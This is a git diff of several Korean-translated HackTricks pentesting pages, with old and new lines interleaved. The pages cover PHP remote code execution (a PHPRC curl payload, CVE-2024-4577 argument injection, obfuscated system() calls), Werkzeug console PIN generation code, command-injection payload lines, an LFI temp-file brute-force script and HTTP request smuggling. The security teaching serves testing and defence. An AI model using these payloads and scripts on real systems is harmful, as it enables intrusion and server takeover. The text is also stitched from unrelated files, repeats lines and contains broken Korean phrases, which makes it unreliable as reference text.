* 또는 RCE를 얻기 위해 **`allow_url_include`**를 활성화하고 **base64 PHP 코드** 파일을 전처리합니다:
* `curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary $'allow_url_include=1\nauto_prepend_file="data://text/plain;base64,PD8KICAgcGhwaW5mbygpOwo/Pg=="'`
* 기술 [**이 보고서**](https://vulncheck.com/blog/juniper-cve-2023-36845)에서.
### XAMPP CGI RCE - CVE-2024-4577
웹 서버는 HTTP 요청을 구문 분석하고 이를 PHP 스크립트에 전달하여 [`http://host/cgi.php?foo=bar`](http://host/cgi.php?foo=bar\&ref=labs.watchtowr.com)와 같은 요청을 실행합니다. 이는 `php.exe cgi.php foo=bar`, 매개변수 주입을 허용합니다. 이는 본문에서 PHP 코드를 로드하기 위해 다음 매개변수를 주입할 수 있게 해줍니다:
웹 서버는 HTTP 요청을 구문 분석하고 이를 PHP 스크립트에 전달하여 [`http://host/cgi.php?foo=bar`](http://host/cgi.php?foo=bar\&ref=labs.watchtowr.com)와 같은 요청을 실행합니다. 이는 `php.exe cgi.php foo=bar`로 매개변수 주입을 허용합니다. 이는 본문에서 PHP 코드를 로드하기 위해 다음 매개변수를 주입할 수 있게 해줍니다:
```jsx
-d allow_url_include=1 -d auto_prepend_file=php://input
```
@ -330,14 +330,14 @@ phpinfo();
```
## PHP Sanitization bypass & Brain Fuck
[**이 게시물에서**](https://blog.redteam-pentesting.de/2024/moodle-rce/) 매우 적은 문자로 브레인 펑크 PHP 코드를 생성할 수 있는 훌륭한 아이디어를 찾을 수 있습니다.\
또한 여러 검사를 우회할 수 있도록 허용된 함수를 실행하는 흥미로운 방법도 제안됩니다:
[**이 게시물에서**](https://blog.redteam-pentesting.de/2024/moodle-rce/) 매우 적은 문자로 브레인 펑크 PHP 코드를 생성는 훌륭한 아이디어를 찾을 수 있습니다.\
또한 여러 검사를 우회할 수 있 함수를 실행하는 흥미로운 방법도 제안됩니다:
```php
(1)->{system($_GET[chr(97)])}
```
## PHP 정적 분석
이 함수 호출에 코드 삽입이 가능한지 확인하세요 (여기서): [here](https://www.youtube.com/watch?v=SyWUsN0yHKI\&feature=youtu.be)
이 함수 호출에 코드 삽입이 가능한지 확인하세요 (여기서): [여기](https://www.youtube.com/watch?v=SyWUsN0yHKI\&feature=youtu.be)
```php
exec, shell_exec, system, passthru, eval, popen
unserialize, include, file_put_cotents
@ -345,7 +345,7 @@ $_COOKIE | if #This mea
```
If yo are debugging a PHP application you can globally enable error printing in`/etc/php5/apache2/php.ini` adding `display_errors = On` and restart apache : `sudo systemctl restart apache2`
### PHP 코드 디오브퓨이팅
### PHP 코드 디오브퓨스케이팅
You can use the **web**[ **www.unphp.net**](http://www.unphp.net) **to deobfuscate php code.**
@ -371,7 +371,7 @@ echo "$x ${Da}"; //Da Drums
```
## RCE abusing new $\_GET\["a"]\($\_GET\["b")
페이지에서 **임의 클래스의 새 객체를 생성할 수 있다면** RCE를 얻을 수 있을지도 모릅니다. 방법을 배우려면 다음 페이지를 확인하세요:
페이지에서 **임의 클래스의 새 객체를 생성**할 수 있다면 RCE를 얻을 수 있습니다. 방법을 배우려면 다음 페이지를 확인하세요:
{% content-ref url="php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md" %}
[php-rce-abusing-object-creation-new-usd\_get-a-usd\_get-b.md](php-rce-abusing-object-creation-new-usd\_get-a-usd\_get-b.md)
@ -430,7 +430,7 @@ lt;>/'^'{{{{';\${\$_}[_](\${\$_}[__]);" `$_='
```php
lt;>/'^'{{{{'; --> _GET` `${$_}[_](${$_}[__]); --> $_GET[_]($_GET[__])` `So, the function is inside $_GET[_] and the parameter is inside $_GET[__]` http --form POST "http://victim.com/index.php?_=system&__=$CMD" "input=$CODE"
```
### Perl과 유사한
### 과 유사한
```php
<?php
$_=[];
@ -470,9 +470,9 @@ $___($_[_]); // ASSERT($_POST[_]);
```
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### 해커의 관점에서 웹 앱, 네트워크 및 클라우드를 살펴보세요
**웹 앱, 네트워크 및 클라우드에 대한 해커의 관점을 얻으세요**
**실제 비즈니스에 영향을 미치는 중요한 취약점을 찾아보고 보고하세요.** 20개 이상의 맞춤형 도구를 사용하여 공격 표면을 매핑하고, 권한 상승을 허용하는 보안 문제를 찾아내며, 자동화된 익스플로잇을 사용하여 필수 증거를 수집하여 귀하의 노력을 설득력 있는 보고서로 전환하세요.
**실제 비즈니스에 영향을 미치는 중요한, 악용 가능한 취약점을 찾아보고 보고하세요.** 20개 이상의 맞춤형 도구를 사용하여 공격 표면을 매핑하고, 권한 상승을 허용하는 보안 문제를 찾아내며, 자동화된 익스플로잇을 사용하여 필수 증거를 수집하여 귀하의 노력을 설득력 있는 보고서로 전환하세요.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}

View file

@ -17,13 +17,13 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### 해커의 관점에서 웹 앱, 네트워크 및 클라우드를 살펴보세요
**웹 앱, 네트워크 및 클라우드에 대한 해커의 관점을 얻으세요.**
**실제 비즈니스에 영향을 미치는 중요한 취약점을 찾아보고 보고하세요.** 20개 이상의 맞춤형 도구를 사용하여 공격 표면을 매핑하고, 권한 상승을 허용하는 보안 문제를 찾아내며, 자동화된 익스플로잇을 사용하여 필수 증거를 수집하여 귀하의 노력을 설득력 있는 보고서로 전환하세요.
**실제 비즈니스에 영향을 미치는 중요한 취약점을 찾아보고 보고하세요.** 공격 표면을 매핑하고 권한 상승을 허용하는 보안 문제를 찾아내며, 필수 증거를 수집하기 위해 자동화된 익스플로잇을 사용하여 귀하의 노력을 설득력 있는 보고서로 전환하는 20개 이상의 맞춤형 도구를 사용하세요.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
## 콘솔 RCE
## Console RCE
디버그가 활성화되어 있으면 `/console`에 접근하여 RCE를 얻으려고 시도할 수 있습니다.
```python
@ -31,7 +31,7 @@ __import__('os').popen('whoami').read();
```
![](<../../.gitbook/assets/image (117).png>)
인터넷에는 [이것](https://github.com/its-arun/Werkzeug-Debug-RCE)과 같은 여러 익스플로잇이 있습니다. 또는 메타스플로잇에 있는 익스플로잇도 있습니다.
인터넷에는 [이것](https://github.com/its-arun/Werkzeug-Debug-RCE)과 같은 여러 익스플로잇이 있습니다. 또는 메타스플로잇에서 하나를 찾을 수 있습니다.
## 핀 보호 - 경로 탐색
@ -113,7 +113,7 @@ try:
모든 필요한 데이터를 수집한 후, 익스플로잇 스크립트를 실행하여 Werkzeug 콘솔 PIN을 생성할 수 있습니다:
모든 필요한 데이터를 수집한 후, 익스플로잇 스크립트를 실행하여 Werkzeug 콘솔 PIN을 생성할 수 있습니다. 이 스크립트는 조`probably_public_bits``private_bits`를 사용하여 해시를 생성한 다음, 최종 PIN을 생성하기 위해 추가 처리를 수행합니다. 아래는 이 프로세스를 실행하기 위한 Python 코드입니다:
모든 필요한 데이터를 수집한 후, 익스플로잇 스크립트를 실행하여 Werkzeug 콘솔 PIN을 생성할 수 있습니다. 이 스크립트는 조`probably_public_bits``private_bits`를 사용하여 해시를 생성한 다음, 최종 PIN을 생성하기 위해 추가 처리를 수행합니다. 아래는 이 프로세스를 실행하기 위한 Python 코드입니다:
```python
import hashlib
from itertools import chain
@ -159,10 +159,10 @@ rv = num
print(rv)
```
이 스크립트는 연결된 비트를 해싱하고 특정 솔트(`cookiesalt` 및 `pinsalt`)를 추가하며 출력을 포맷하여 PIN을 생성합니다. 실제 `probably_public_bits``private_bits`의 값은 Werkzeug 콘솔에서 예상되는 PIN과 일치하도록 목표 시스템에서 정확하게 얻어야 한다는 점이 중요합니다.
이 스크립트는 연결된 비트를 해싱하고 특정 솔트(`cookiesalt` 및 `pinsalt`)를 추가하며 출력을 형식화하여 PIN을 생성합니다. 실제 `probably_public_bits``private_bits`의 값은 Werkzeug 콘솔에서 예상되는 PIN과 일치하도록 목표 시스템에서 정확하게 얻어야 한다는 점에 유의하는 것이 중요합니다.
{% hint style="success" %}
**오래된 버전**의 Werkzeug를 사용 중이라면 **해싱 알고리즘을 sha1 대신 md5로 변경**해 보세요.
**오래된 버전**의 Werkzeug를 사용 중이라면 **해싱 알고리즘을 sha1 대신 md5로 변경**해 보십시오.
{% endhint %}
## Werkzeug 유니코드 문자
@ -175,7 +175,7 @@ print(rv)
{% embed url="https://github.com/Ruulian/wconsole_extractor" %}
## 참고 문헌
## 참고자료
* [**https://www.daehee.com/werkzeug-console-pin-exploit/**](https://www.daehee.com/werkzeug-console-pin-exploit/)
* [**https://ctftime.org/writeup/17955**](https://ctftime.org/writeup/17955)
@ -184,9 +184,9 @@ print(rv)
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### 해커의 관점에서 웹 앱, 네트워크 및 클라우드를 살펴보세요
**웹 앱, 네트워크 및 클라우드에 대한 해커의 관점을 얻으십시오.**
**실제 비즈니스에 영향을 미치는 중요한 악용 가능한 취약점을 찾아보고 보고하세요.** 20개 이상의 맞춤형 도구를 사용하여 공격 표면을 매핑하고 권한 상승을 허용하는 보안 문제를 찾아내며, 자동화된 악용을 사용하여 필수 증거를 수집하여 귀하의 노력을 설득력 있는 보고서로 전환하세요.
**실제 비즈니스에 영향을 미치는 중요한 악용 가능한 취약점을 찾아보고 보고하십시오.** 20개 이상의 맞춤형 도구를 사용하여 공격 표면을 매핑하고 권한 상승을 허용하는 보안 문제를 찾아내며, 자동화된 악용을 사용하여 필수 증거를 수집하여 귀하의 노력을 설득력 있는 보고서로 전환하십시오.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}

View file

@ -17,38 +17,38 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### 해커의 관점에서 웹 앱, 네트워크 및 클라우드를 살펴보세요
**웹 앱, 네트워크 및 클라우드에 대한 해커의 관점을 얻으세요.**
**실제 비즈니스에 영향을 미치는 중요한 취약점을 찾아보고 보고하세요.** 20개 이상의 맞춤형 도구를 사용하여 공격 표면을 매핑하고, 권한 상승을 허용하는 보안 문제를 찾아내며, 자동화된 익스플로잇을 사용하여 필수 증거를 수집하여 귀하의 노력을 설득력 있는 보고서로 전환하세요.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
### 호스트 헤더
### Host header
백엔드가 **호스트 헤더**를 신뢰하여 일부 작업을 수행하는 경우가 여러 번 있습니다. 예를 들어, 비밀번호 재설정을 위한 **도메인으로 그 값을 사용할 수 있습니다**. 따라서 비밀번호를 재설정하는 링크가 포함된 이메일을 받으면 사용되는 도메인은 호스트 헤더에 입력한 것입니다. 그러면 다른 사용자의 비밀번호 재설정을 요청하고 도메인을 귀하가 제어하는 으로 변경하여 그들의 비밀번호 재설정 코드를 훔칠 수 있습니다. [WriteUp](https://medium.com/nassec-cybersecurity-writeups/how-i-was-able-to-take-over-any-users-account-with-host-header-injection-546fff6d0f2).
백엔드가 **Host header**를 신뢰하여 일부 작업을 수행하는 경우가 여러 번 있습니다. 예를 들어, 비밀번호 재설정을 위한 **도메인으로 그 값을 사용할 수 있습니다**. 따라서 비밀번호를 재설정하는 링크가 포함된 이메일을 받으면 사용되는 도메인은 Host header에 입력한 도메인입니다. 그러면 다른 사용자의 비밀번호 재설정을 요청하고 도메인을 귀하가 제어하는 도메인으로 변경하여 그들의 비밀번호 재설정 코드를 훔칠 수 있습니다. [WriteUp](https://medium.com/nassec-cybersecurity-writeups/how-i-was-able-to-take-over-any-users-account-with-host-header-injection-546fff6d0f2).
{% hint style="warning" %}
사용자가 비밀번호 재설정 링크를 클릭할 때까지 기다릴 필요가 없을 수도 있다는 점에 유의하세요. **스팸 필터나 다른 중개 장치/봇이 이를 클릭하여 분석할 수 있습니다.**
{% endhint %}
### 세션 불리언
### Session booleans
때때로 일부 검증을 올바르게 완료하면 백엔드가 **세션의 보안 속성에 "True" 값의 불리언을 추가합니다**. 그런 다음 다른 엔드포인트는 해당 검사를 성공적으로 통과했는지 알 수 있습니다.\
그러나 **검사를 통과하고** 세션이 보안 속성에 "True" 값을 부여받으면, **접근 권한이 없어야 하는** 동일한 속성에 의존하는 **다른 리소스에 접근을 시도할 수 있습니다**. [WriteUp](https://medium.com/@ozguralp/a-less-known-attack-vector-second-order-idor-attacks-14468009781a).
어떤 경우에는 일부 검증을 올바르게 완료하면 백엔드가 **세션의 보안 속성에 "True"라는 값을 가진 부울을 추가합니다**. 그런 다음 다른 엔드포인트는 해당 검사를 성공적으로 통과했는지 알 수 있습니다.\
그러나 **검사를 통과하고** 세션이 보안 속성에 "True" 값을 부여받으면, **접근 권한이 없어야 하는 다른 리소스에 접근을 시도할 수 있습니다**. [WriteUp](https://medium.com/@ozguralp/a-less-known-attack-vector-second-order-idor-attacks-14468009781a).
### 등록 기능
### Register functionality
이미 존재하는 사용자로 등록해 보세요. 또한 동등한 문자(점, 많은 공백 및 유니코드)를 사용해 보세요.
이미 존재하는 사용자로 등록해 보세요. 동등한 문자(점, 많은 공백 및 유니코드)를 사용해 보세요.
### 이메일 인수
### Takeover emails
이메일을 등록한 후, 확인하기 전에 이메일을 변경하세요. 그런 다음, 새 확인 이메일이 첫 번째 등록된 이메일로 전송되면, 어떤 이메일도 인수할 수 있습니다. 또는 두 번째 이메일이 첫 번째 이메일을 확인하도록 활성화할 수 있다면, 어떤 계정도 인수할 수 있습니다.
이메일을 등록한 후, 확인하기 전에 이메일을 변경하세요. 그런 다음, 새로운 확인 이메일이 첫 번째 등록된 이메일로 전송되면, 어떤 이메일도 인수할 수 있습니다. 또는 두 번째 이메일이 첫 번째 이메일을 확인하도록 활성화할 수 있다면, 어떤 계정도 인수할 수 있습니다.
### Atlassian을 사용하는 회사의 내부 서비스 데스크 접근
### Access Internal servicedesk of companies using atlassian
{% embed url="https://yourcompanyname.atlassian.net/servicedesk/customer/user/login" %}
### TRACE 메서드
### TRACE method
개발자는 프로덕션 환경에서 다양한 디버깅 옵션을 비활성화하는 것을 잊을 수 있습니다. 예를 들어, HTTP `TRACE` 메서드는 진단 목적으로 설계되었습니다. 활성화되면 웹 서버는 `TRACE` 메서드를 사용하는 요청에 대해 수신된 정확한 요청을 응답에 에코하여 응답합니다. 이 동작은 종종 무해하지만 때때로 내부 인증 헤더의 이름과 같은 정보 유출로 이어질 수 있습니다.![Image for post](https://miro.medium.com/max/60/1\*wDFRADTOd9Tj63xucenvAA.png?q=20)
@ -57,7 +57,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### 해커의 관점에서 웹 앱, 네트워크 및 클라우드를 살펴보세요
**웹 앱, 네트워크 및 클라우드에 대한 해커의 관점을 얻으세요.**
**실제 비즈니스에 영향을 미치는 중요한 취약점을 찾아보고 보고하세요.** 20개 이상의 맞춤형 도구를 사용하여 공격 표면을 매핑하고, 권한 상승을 허용하는 보안 문제를 찾아내며, 자동화된 익스플로잇을 사용하여 필수 증거를 수집하여 귀하의 노력을 설득력 있는 보고서로 전환하세요.

View file

@ -17,21 +17,21 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### 해커의 관점에서 웹 앱, 네트워크 및 클라우드를 살펴보세요
**웹 앱, 네트워크 및 클라우드에 대한 해커의 관점을 얻으세요**
**실제 비즈니스에 영향을 미치는 중요한 취약점을 찾아보고 보고하세요.** 20개 이상의 맞춤형 도구를 사용하여 공격 표면을 매핑하고, 권한 상승을 허용하는 보안 문제를 찾아내며, 자동화된 익스플로잇을 사용하여 필수 증거를 수집하여 귀하의 노력을 설득력 있는 보고서로 전환하세요.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
## 명령 주입이란 무엇인가?
## Command Injection이란 무엇인가?
**명령 주입**은 공격자가 애플리케이션을 호스팅하는 서버에서 임의의 운영 체제 명령을 실행할 수 있도록 허용합니다. 그 결과, 애플리케이션과 그 모든 데이터가 완전히 손상될 수 있습니다. 이러한 명령의 실행은 일반적으로 공격자가 애플리케이션의 환경 및 기본 시스템에 대한 무단 접근 또는 제어를 얻을 수 있게 합니다.
**command injection**은 공격자가 애플리케이션을 호스팅하는 서버에서 임의의 운영 체제 명령을 실행할 수 있도록 허용합니다. 그 결과, 애플리케이션과 그 모든 데이터가 완전히 손상될 수 있습니다. 이러한 명령의 실행은 일반적으로 공격자가 애플리케이션의 환경 및 기본 시스템에 대한 무단 접근 또는 제어를 얻을 수 있게 합니다.
### 맥락
### Context
**입력이 주입되는 위치에 따라** 명령을 실행하기 전에 **인용된 맥락을 종료해야 할 수도 있습니다** (`"` 또는 `'` 사용).
**입력이 주입되는 위치에 따라** 명령을 실행하기 전에 **인용된 컨텍스트를 종료해야 할 수도 있습니다** (`"` 또는 `'` 사용).
## 명령 주입/실행
## Command Injection/Execution
```bash
#Both Unix and Windows supported
ls||id; ls ||id; ls|| id; ls || id # Execute both
@ -52,7 +52,7 @@ ls${LS_COLORS:10:1}${IFS}id # Might be useful
```
### **제한** 우회
리눅스 머신 내에서 **임의의 명령을 실행**하려고 한다면, 이 **우회**에 대해 읽는 것이 좋습니다:
리눅스 머신 내에서 **임의의 명령을 실행**하려고 한다면, 이 **우회**에 대해 읽어보는 것이 좋습니다:
{% content-ref url="../linux-hardening/bypass-bash-restrictions/" %}
[bypass-bash-restrictions](../linux-hardening/bypass-bash-restrictions/)
@ -164,7 +164,7 @@ GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt=
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### 해커의 관점에서 웹 앱, 네트워크 및 클라우드를 살펴보세요
**웹 앱, 네트워크 및 클라우드에 대한 해커의 관점을 얻으세요.**
**실제 비즈니스에 영향을 미치는 중요한 취약점을 찾아보고 보고하세요.** 20개 이상의 맞춤형 도구를 사용하여 공격 표면을 매핑하고, 권한 상승을 허용하는 보안 문제를 찾아내며, 자동화된 익스플로잇을 사용하여 필수 증거를 수집하여 귀하의 노력을 설득력 있는 보고서로 전환하세요.

View file

@ -15,9 +15,9 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### 해커의 관점에서 웹 앱, 네트워크 및 클라우드를 살펴보세요
**웹 앱, 네트워크 및 클라우드에 대한 해커의 관점을 얻으세요**
**실제 비즈니스에 영향을 미치는 중요한 취약점을 찾아보고 보고하세요.** 20개 이상의 맞춤형 도구를 사용하여 공격 표면을 매핑하고, 권한 상승을 허용하는 보안 문제를 찾아내며, 자동화된 익스플로잇을 사용하여 필수 증거를 수집하여 귀하의 노력을 설득력 있는 보고서로 전환하세요.
**실제 비즈니스에 영향을 미치는 중요한 취약점을 찾아보고 보고하세요.** 공격 표면을 매핑하고 권한 상승을 허용하는 보안 문제를 찾아내며, 필수 증거를 수집하기 위해 자동화된 익스플로잇을 사용하여 귀하의 노력을 설득력 있는 보고서로 전환하는 20개 이상의 맞춤형 도구를 사용하세요.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
@ -28,7 +28,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
**튜토리얼 HTB**: [https://www.youtube.com/watch?v=rs4zEwONzzk\&t=600s](https://www.youtube.com/watch?v=rs4zEwONzzk\&t=600s)
익스플로잇을 수정해야 합니다 ( **=>**를 **=>**로 변경). 그렇게 하려면 다음과 같이 할 수 있습니다:
익스플로잇을 수정해야 합니다 ( **=>**를 **=>**로 변경). 그렇게 하려면 다음을 수행할 수 있습니다:
```
sed -i 's/\[tmp_name\] \=>/\[tmp_name\] =\&gt/g' phpinfolfi.py
```
@ -48,9 +48,9 @@ PHP에서 업로드가 허용되면 파일을 업로드하려고 할 때, 이
**phpinfo()**
**PHP**는 **4096B**의 버퍼를 사용하며, 버퍼가 **가득 차면** 클라이언트에 **전송**됩니다. 그런 다음 클라이언트는 **많은 큰 요청**(큰 헤더를 사용하여) **php** 리버스 **쉘을 업로드**하고, **임시 파일의 이름이 있는 phpinfo()의 첫 번째 부분이 반환될 때까지 기다린 후** LFI 취약점을 악용하여 php 서버가 파일을 삭제하기 전에 **임시 파일에 접근**하려고 시도할 수 있습니다.
**PHP**는 **4096B**의 버퍼를 사용하며, 버퍼가 **가득 차면** **클라이언트로 전송**됩니다. 그런 다음 클라이언트는 **많은 큰 요청을 보낼 수 있습니다** (큰 헤더를 사용하여) **php** 리버스 **쉘을 업로드하고**, **phpinfo()의 첫 번째 부분이 반환될 때까지 기다린 후** (임시 파일의 이름이 있는 곳) **LFI 취약점을 악용하여 php 서버가 파일을 삭제하기 전에 임시 파일에 접근**하려고 시도합니다.
**이름을 브루트포스 시도하기 위한 Python 스크립트 (길이 = 6)**
**이름을 무작위로 추측하기 위한 Python 스크립트 (길이 = 6)**
```python
import itertools
import requests
@ -74,7 +74,7 @@ print('[x] Something went wrong, please try again')
```
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### 해커의 관점에서 웹 앱, 네트워크 및 클라우드를 살펴보세요
**웹 앱, 네트워크 및 클라우드에 대한 해커의 관점을 얻으세요**
**실제 비즈니스에 영향을 미치는 중요한 취약점을 찾아보고 보고하세요.** 20개 이상의 맞춤형 도구를 사용하여 공격 표면을 매핑하고, 권한 상승을 허용하는 보안 문제를 찾아내며, 자동화된 익스플로잇을 사용하여 필수 증거를 수집하여 귀하의 노력을 설득력 있는 보고서로 전환하세요.

View file

@ -10,22 +10,22 @@ GCP 해킹 배우기 및 연습하기: <img src="../../.gitbook/assets/grte.png"
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.**
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
</details>
{% endhint %}
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### 해커의 관점에서 웹 앱, 네트워크 및 클라우드 보기
**웹 앱, 네트워크 및 클라우드에 대한 해커의 관점을 얻으세요**
**실제 비즈니스에 영향을 미치는 치명적이고 악용 가능한 취약점을 찾아보고 보고하세요.** 20개 이상의 맞춤형 도구를 사용하여 공격 표면을 매핑하고, 권한 상승을 허용하는 보안 문제를 찾아내며, 자동화된 익스플로잇을 사용하여 필수 증거를 수집하여 귀하의 노력을 설득력 있는 보고서로 전환하세요.
**실제 비즈니스에 영향을 미치는 중요한 취약점을 찾아보고 보고하세요.** 20개 이상의 맞춤형 도구를 사용하여 공격 표면을 매핑하고, 권한 상승을 허용하는 보안 문제를 찾아내며, 자동화된 익스플로잇을 사용하여 필수 증거를 수집하여 귀하의 노력을 설득력 있는 보고서로 전환하세요.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
## 무엇인가
이 취약점은 **프론트엔드 프록시**와 **백엔드** 서버 간의 **비동기화**로 인해 **공격자**가 HTTP **요청**을 **전송**할 수 있게 되며, 이 요청은 **프론트엔드** 프록시(로드 밸런서/리버스 프록시)에서는 **단일 요청**으로 해석되고 **백엔드** 서버에서는 **2개의 요청**으로 해석됩니다.\
이 취약점은 **프론트엔드 프록시**와 **백엔드** 서버 간의 **비동기화**로 인해 **공격자**가 **HTTP 요청**을 **전송**할 수 있게 되며, 이 요청은 **프론트엔드** 프록시(로드 밸런서/리버스 프록시)에서는 **단일 요청**으로 해석되고 **백엔드** 서버에서는 **2개의 요청**으로 해석됩니다.\
이로 인해 사용자는 자신의 요청 이후에 백엔드 서버에 도착하는 **다음 요청을 수정**할 수 있습니다.
### 이론
@ -46,23 +46,23 @@ GCP 해킹 배우기 및 연습하기: <img src="../../.gitbook/assets/grte.png"
### 현실
**프론트엔드**(로드 밸런서/리버스 프록시)는 _**content-length**_ 또는 _**transfer-encoding**_ 헤더를 처리하고, **백엔드** 서버는 다른 하나를 처리하여 두 시스템 간의 **비동기화**를 유발합니다.\
이는 **공격자가 리버스 프록시**에 하나의 요청을 전송할 수 있게 하여 **백엔드** 서버가 이를 **2개의 서로 다른 요청**으로 해석하게 할 수 있으므로 매우 치명적일 수 있습니다. 이 기술의 **위험**은 **백엔드** 서버가 **주입된 2번째 요청**을 **다음 클라이언트**에서 온 것처럼 해석하고, 그 클라이언트의 **실제 요청**이 **주입된 요청**의 **일부**가 된다는 사실에 있습니다.
이는 **공격자가 리버스 프록시**에 **하나의 요청을 전송**할 수 있게 하며, 이 요청은 **백엔드** 서버에서 **2개의 서로 다른 요청**으로 해석됩니다. 이 기술의 **위험**은 **백엔드** 서버가 **주입된 2번째 요청**을 **다음 클라이언트**에서 온 것처럼 해석하고, 그 클라이언트의 **실제 요청**이 **주입된 요청**의 **일부**가 된다는 사실에 있습니다.
### 특이사항
HTTP에서 **새 줄 문자는 2바이트로 구성됩니다:**
* **Content-Length**: 이 헤더는 요청 본문의 **바이트 수**를 나타내기 위해 **10진수** 숫자를 사용합니다. 본문은 마지막 문자에서 끝나야 하며, **요청의 끝에 새 줄이 필요하지 않습니다**.
* **Content-Length**: 이 헤더는 요청 본문의 **바이트 수**를 나타내기 위해 **10진수** 숫자를 사용합니다. 본문은 마지막 문자에서 끝나는 것으로 예상되며, **요청의 끝에 새 줄이 필요하지 않습니다**.
* **Transfer-Encoding:** 이 헤더는 **다음 청크**의 **바이트 수**를 나타내기 위해 본문에서 **16진수** 숫자를 사용합니다. **청크**는 **새 줄**로 **끝나야** 하지만 이 새 줄은 **길이 표시기**에 의해 **계산되지 않습니다**. 이 전송 방법은 **크기 0의 청크**로 끝나야 하며, 그 뒤에 **2개의 새 줄**이 와야 합니다: `0`
* **Connection**: 제 경험에 따르면 요청 스머글링의 첫 번째 요청에서 **`Connection: keep-alive`**를 사용하는 것이 좋습니다.
## 기본 예제
{% hint style="success" %}
이것을 Burp Suite로 악용하려고 할 때 **리피터에서 `Update Content-Length` 및 `Normalize HTTP/1 line endings`를 비활성화하세요**. 일부 도구는 새 줄, 캐리지 리턴 및 잘못된 content-length를 남용합니다.
이것을 Burp Suite로 악용하려고 할 때 **`Update Content-Length``Normalize HTTP/1 line endings`**를 리피터에서 비활성화하세요. 일부 도구는 새 줄, 캐리지 리턴 및 잘못된 content-length를 남용합니다.
{% endhint %}
HTTP 요청 스머글링 공격은 `Content-Length` (CL) 및 `Transfer-Encoding` (TE) 헤더를 해석하는 프론트엔드와 백엔드 서버 간의 불일치를 용하여 모호한 요청을 전송함으로써 만들어집니다. 이러한 공격은 주로 **CL.TE**, **TE.CL**, 및 **TE.TE** 형태로 나타날 수 있습니다. 각 유형은 프론트엔드와 백엔드 서버가 이러한 헤더를 우선시하는 방식의 고유한 조합을 나타냅니다. 취약점은 서버가 동일한 요청을 서로 다른 방식으로 처리하여 예상치 못한 결과를 초래하는 데서 발생합니다.
HTTP 요청 스머글링 공격은 `Content-Length` (CL) 및 `Transfer-Encoding` (TE) 헤더를 해석하는 프론트엔드와 백엔드 서버 간의 불일치를 용하여 모호한 요청을 전송함으로써 만들어집니다. 이러한 공격은 주로 **CL.TE**, **TE.CL**, 및 **TE.TE**의 형태로 나타날 수 있습니다. 각 유형은 프론트엔드와 백엔드 서버가 이러한 헤더를 우선시하는 방식의 고유한 조합을 나타냅니다. 취약점은 서버가 동일한 요청을 서로 다른 방식으로 처리하여 예상치 못한 결과를 초래하는 데서 발생합니다.
### 취약점 유형의 기본 예제
@ -72,14 +72,14 @@ HTTP 요청 스머글링 공격은 `Content-Length` (CL) 및 `Transfer-Encoding`
이전 표에 TE.0 기술을 추가해야 하며, CL.0 기술과 유사하지만 Transfer Encoding을 사용합니다.
{% endhint %}
#### CL.TE 취약점 (프론트엔드에서 Content-Length 사용, 백엔드에서 Transfer-Encoding 사용)
#### CL.TE 취약점 (프론트엔드에서 사용되는 Content-Length, 백엔드에서 사용되는 Transfer-Encoding)
* **프론트엔드 (CL):** `Content-Length` 헤더를 기반으로 요청을 처리합니다.
* **백엔드 (TE):** `Transfer-Encoding` 헤더를 기반으로 요청을 처리합니다.
* **공격 시나리오:**
* 공격자 `Content-Length` 헤더의 값이 실제 콘텐츠 길이와 일치하지 않는 요청을 보냅니다.
* 공격자 `Content-Length` 헤더의 값이 실제 콘텐츠 길이와 일치하지 않는 요청을 보냅니다.
* 프론트엔드 서버는 `Content-Length` 값을 기반으로 전체 요청을 백엔드로 전달합니다.
